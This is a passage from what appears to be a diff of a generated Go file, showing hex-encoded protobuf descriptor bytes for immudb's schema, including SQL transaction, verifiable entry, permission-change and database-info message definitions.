0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, + 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, + 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, + 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, + 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, + 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, + 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, - 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, - 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, - 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, - 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, - 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, - 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, - 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, - 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, - 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, - 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, - 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, - 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, - 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, - 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, - 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x4d, 0x61, 0x78, - 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, - 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, - 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, - 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, - 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, - 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, - 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xca, 0x01, 0x0a, 0x1a, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, - 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x3b, 0x0a, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, - 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, - 0x69, 0x6c, 0x65, 0x67, 0x65, 0x52, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, - 0x73, 0x22, 0x1d, 0x0a, 0x1b, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, - 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, - 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x56, 0x32, 0x22, 0x53, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x39, - 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x09, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x83, 0x02, 0x0a, 0x0c, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, - 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, - 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x64, - 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x1d, 0x0a, 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x1d, 0x0a, 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x62, 0x79, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x22, - 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, - 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, - 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, - 